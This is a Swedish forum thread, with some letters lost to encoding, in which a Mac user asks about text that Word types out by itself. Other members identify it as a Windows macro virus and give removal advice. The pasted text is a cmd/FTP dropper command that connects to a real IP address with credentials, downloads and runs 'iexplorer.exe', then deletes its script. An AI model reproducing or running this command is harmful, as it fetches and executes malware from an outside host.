Vinnaren i pepparkakshustävlingen!
2010-11-30, 17:52
  #1
Medlem
HAPSICORDs avatar
Tjenixen.
Sitter och arbetar i word och detta brjar skrivas av sig sjlvt ibland. Ngon hr som kan nt om programmering och kanske kan tala om vad det r fr skit?!

Tackar!


%systemroot%system32cmd.exe
del eq/echo open 190.209.207.138 3097 :: eq/echo user 25323 15111 :: eq /echo get iexplorer.exe :: eq /echo quit :: eq /ftp +n +seq /iexplorer.exe /del eq
j
Citera
2010-11-30, 17:58
  #2
Medlem
btflyktings avatar
Virus?
Citera
2010-11-30, 18:15
  #3
Medlem
Hispers avatar
Citat:
Ursprungligen postat av HAPSICORD
Tjenixen.
Sitter och arbetar i word och detta brjar skrivas av sig sjlvt ibland. Ngon hr som kan nt om programmering och kanske kan tala om vad det r fr skit?!

Tackar!


%systemroot%system32cmd.exe
del eq/echo open 190.209.207.138 3097 :: eq/echo user 25323 15111 :: eq /echo get iexplorer.exe :: eq /echo quit :: eq /ftp +n +seq /iexplorer.exe /del eq
j

En frsta frga r om du kr Mac eller PC?

Jag r inte s hemma p detta med uppenbarligen s vill Word(?) ppna kommandofnstret (Windows motsvarighet till terminalen), mickla lite med Internet Explorer mm.

P en Mac kan jag inte se att ovanstende p ngot stt r farligt och kan orsaka ngot. Ven om det r mystiskt och hur kom det att startas i frsta skedet? r det ett existerande dokument som du jobbar med? Skapat p en PC men du har det just nu p en MAc?

P en PC skulle det kunna vara s att ngot dumt grs men d ligger trden i fel forum och skall flyttas.
Citera
2010-11-30, 18:38
  #4
Medlem
HAPSICORDs avatar
Citat:
Ursprungligen postat av Hisper
En frsta frga r om du kr Mac eller PC?

Jag r inte s hemma p detta med uppenbarligen s vill Word(?) ppna kommandofnstret (Windows motsvarighet till terminalen), mickla lite med Internet Explorer mm.

P en Mac kan jag inte se att ovanstende p ngot stt r farligt och kan orsaka ngot. Ven om det r mystiskt och hur kom det att startas i frsta skedet? r det ett existerande dokument som du jobbar med? Skapat p en PC men du har det just nu p en MAc?

P en PC skulle det kunna vara s att ngot dumt grs men d ligger trden i fel forum och skall flyttas.

Jag kr Mac med SL 10.6.5.
Dokumentet jag jobbar i r skapat p Mac och har aldrig varit p ngon annan dator och vnt. Det startades bara helt pltsligt genom att jag inte kunde gra ngonting och word brjade ploppa ur sig den koden. Jag har inte installerat ngonting p lnge s det br inte rra sig om en trojan svida den inte legat i datorn en mnad och bara vntat...
Citera
2010-11-30, 19:21
  #5
Medlem
ei96byods avatar
Citat:
Ursprungligen postat av HAPSICORD
Jag kr Mac med SL 10.6.5.
Dokumentet jag jobbar i r skapat p Mac och har aldrig varit p ngon annan dator och vnt. Det startades bara helt pltsligt genom att jag inte kunde gra ngonting och word brjade ploppa ur sig den koden. Jag har inte installerat ngonting p lnge s det br inte rra sig om en trojan svida den inte legat i datorn en mnad och bara vntat...

Knns som ett elakt wordmakro fr windows som, om jag tolkar det rtt, frsker starta windows kommandoprompt och koppla upp sig mot en webbsida, ladda ner en modifierad variant av internet explorer, och erstta den riktiga med den infekterade.

(kan inte denna typen av script, s detta r bara min amatrmssiga tolkning. Torde vara vbscript)

Du behver inte oroa dig fr din mac, d detta inte kommer att lyckas p ditt operativ, men du mste ju p ngot vis kunna lista ut var det kommer ifrn.

r du sker p att du inte ppnat ett dokument, eller en mall, som ngon gng varit ppen i ngon windows-maskin?
Citera
2010-11-30, 21:53
  #6
Medlem
HAPSICORDs avatar
Citat:
Ursprungligen postat av ei96byod
Knns som ett elakt wordmakro fr windows som, om jag tolkar det rtt, frsker starta windows kommandoprompt och koppla upp sig mot en webbsida, ladda ner en modifierad variant av internet explorer, och erstta den riktiga med den infekterade.

(kan inte denna typen av script, s detta r bara min amatrmssiga tolkning. Torde vara vbscript)

Du behver inte oroa dig fr din mac, d detta inte kommer att lyckas p ditt operativ, men du mste ju p ngot vis kunna lista ut var det kommer ifrn.

r du sker p att du inte ppnat ett dokument, eller en mall, som ngon gng varit ppen i ngon windows-maskin?

Njae, sker kan jag sklart inte vara. Nt konstigt kan jag ju ha klickat p nn gng. Men jag trodde inte att sna saker kunde komma in i MacOS om man inte installerade ngonting och gav det access genom att skriva in sitt lsenord, men jag hade vl fel d eller?

Tack fr att ni tar er tid.
Citera
2010-11-30, 22:10
  #7
Medlem
StyleWarss avatar
Ingen expert p detta, men makrot infekterar .doc under Windows, fr att sprida sig till en annan windowsmaskin. ppnar man ett .doc med makro i OS X mste det vara skadlig kod skriven fr OSX.

Din maskin r allts inte smittad.

Kolla upp funktionen fr skerhet gllande makron och bli alltid varnad innan en .doc innehllande makro krs:
http://kb.iu.edu/data/agzk.html
Citera
2010-11-30, 22:15
  #8
Medlem
HAPSICORDs avatar
Citat:
Ursprungligen postat av StyleWars
Ingen expert p detta, men makrot infekterar .doc under Windows, fr att sprida sig till en annan windowsmaskin. ppnar man ett .doc med makro i OS X mste det vara skadlig kod skriven fr OSX.

Din maskin r allts inte smittad.

Kolla upp funktionen fr skerhet gllande makron och bli alltid varnad innan en .doc innehllande makro krs:
http://kb.iu.edu/data/agzk.html

Knns bra
Men ska jag bara strunta i det? Var ligger sjlva koden? r det i dokumentet p s stt att om jag kopierar texten och klistrar in det i ett nytt dokument s blir jag av med det?

Sidan du lnkade till gav dock inget svar p vad man skulle gra om man hade word 2008, det stod bara "Word 2008 documents can contain macros, but they will not run."
Citera
2010-11-30, 22:46
  #9
Medlem
StyleWarss avatar
Leta upp 'Microsoft Anvndardata' som ligger i 'Dokument'. Eller s sker du i Spotlight efter en fil som heter 'Normal' eller 'Normal.dot' (Givetvis ska den ligga i den mapp jag beskriver som heter Microsoft Anvndardata). Ta bort den.

Makrot ligger dock kvar i alla .doc som du skapat efter att du tog hem det. S om du ppnar de gamla med makro pslaget r problemet tillbaks. S - se till att makron r avstngda p de "smutsiga" filerna. CopyPasta texten frn dessa till ett blankt .doc
Citera
2010-11-30, 23:03
  #10
Medlem
HAPSICORDs avatar
Citat:
Ursprungligen postat av StyleWars
Leta upp 'Microsoft Anvndardata' som ligger i 'Dokument'. Eller s sker du i Spotlight efter en fil som heter 'Normal' eller 'Normal.dot' (Givetvis ska den ligga i den mapp jag beskriver som heter Microsoft Anvndardata). Ta bort den.

Makrot ligger dock kvar i alla .doc som du skapat efter att du tog hem det. S om du ppnar de gamla med makro pslaget r problemet tillbaks. S - se till att makron r avstngda p de "smutsiga" filerna. CopyPasta texten frn dessa till ett blankt .doc

Tusen tack!
Citera

Skapa ett konto eller logga in för att kommentera

Du måste vara medlem för att kunna kommentera

Skapa ett konto

Det är enkelt att registrera ett nytt konto

Bli medlem

Logga in

Har du redan ett konto? Logga in här

Logga in